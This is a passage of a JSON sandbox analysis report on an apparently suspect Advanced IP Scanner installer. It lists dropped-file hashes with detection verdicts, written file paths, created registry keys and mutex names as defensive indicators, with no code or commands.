501611ae6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"powershell.exe.log","sha256":"61d13b7268a58207d1e37536c2accf81cd95aa3e2f381c1422c91a67a6c99adc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"is-0EQL7.tmp","sha256":"411862a29df284fa2d4b2e33fb9839dd030a99ebc5823212e9cdb2ffcfb3ee26","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"name":"is-237LE.tmp","sha256":"6b385410b01f24d20294e1b92e7d391f20d146a0aab937809483c8ed624017ca","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"name":"is-29KKM.tmp","sha256":"50fd585270fa79fd056ec04b6991d0e65cca28c1116834a59d5591f8d8c2c214","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"name":"is-2EUER.tmp","sha256":"69655cab681bc5e4b8ab6d3e160ce914193156e9fd09da36b3116b6bb958457b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"name":"is-34297.tmp","sha256":"119b9e8ca8946875860d593402ef4b085fd3284aa530e757b2a3b9a4b1a0c3f4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"name":"is-3S09R.tmp","sha256":"38d4deafb763b288a9a2322f4be6e58909427ecfd025caf0fdeb537c9880aa21","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"name":"is-0LUND.tmp","sha256":"5565b24818ba4c67336d297b427afa52dc29522341382c437e4b68a1d32e1c2b","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"nskbfltr.inf","sha256":"d96856cd944a9f1587907cacef974c0248b7f4210f1689c1e6bcac5fed289368","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"is-16P7F.tmp","sha256":"2db7fd3c9c3c4b67f2d50a5a50e8c69154dc859780dd487c28a4e6ed1af90d01","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"StartupProfileData-NonInteractive","sha256":"7808beed78c10025e645b0af20a1cd3202243111994f77c993274da77b816918","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"is-0FLOC.tmp","sha256":"a1db9cbe9d30a6fc2800c0b5ac7f92e9dddf3b6c742e0eec892c758f66413c93","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"is-10EK4.tmp","sha256":"572e3d6abd3a7be7f4f464ddbd53a6ae2657e8dc0427b59d9a942d8a04833323","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]}],"files_written":[{"path":"%TEMP%\\is-2BB8I.tmp\\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%TEMP%\\is-0DA6D.tmp\\_isetup\\_setup64.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\unins000.dat","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-E4H59.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-RDOSR.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-VB04V.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-H2F8P.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-QLP43.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-9S9LT.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-EC0T8.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-LSJ97.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-A8E9A.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-1COUU.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-OD8LA.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-4O2OG.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-JJ78K.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-PSFQK.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-CRSQS.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-PSGRB.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-7ORPS.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-K8SVQ.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-1PUVN.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-ITTAG.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-VE2OO.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-QDAP6.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-9IQPI.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-92QIO.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-3OG50.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-9TL5G.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-V0K26.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-RVJKR.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-AMJ2D.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-VDVNH.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-JIKNA.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-6MI5G.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-60JON.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-VNBM0.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-J4QQN.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-0D4DG.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-CIHJL.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-49DRM.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-OO6I4.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-I639I.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-DF12V.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-OP4NA.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-NS87A.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-JGOAE.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-4B9QE.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-USEBL.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-5PE80.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-6T3KU.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-EK4HQ.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-M2UFF.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-MCJ5V.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-O521N.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-8RP4Q.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-CRKDE.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-83BMU.tmp","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_jlwms0hi.yru.ps1","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_fh3uwba2.kan.psm1","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"path":"%APPDATA%\\installPackage.zip","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\LSCBY323\\loca[1].htm","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%TEMP%\\is-PNL5K.tmp\\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%TEMP%\\is-4605S.tmp\\_isetup\\_setup64.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Explorer","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-CU9QC.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-FM1T2.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-O89NP.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-Q25VJ.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-H74HU.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-S4S5Q.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-1IK2H.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-LLSGA.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-A53CI.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-8ATDV.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-64TQ7.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-L4UHQ.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-UT4B0.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-2PJP8.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-SI5HK.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-6OT1Q.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-1KK21.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-JOMFD.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-90NFF.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-UGD23.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-8UJQD.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-283S7.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-KK3EH.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-0FLOC.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-IDVGR.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-6QVFE.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-9JITI.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-41UEE.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-VSJM4.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-3RFSO.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-9TUV8.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-QRSI0.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-8NJEV.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-27SS0.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-TQ6AE.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-FF1KR.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-10EK4.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\is-QOD8S.tmp","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_21qrsbpq.5hz.ps1","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_v3uosuxx.bu4.psm1","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D03DB0C1-2729-4674-A875-8625DD784300}","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\\\","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\P3P\\HISTORY\\","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6300:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6300:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"name":"Local\\SM0:6300:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"name":"SM0:6300:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5220:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"name":"\\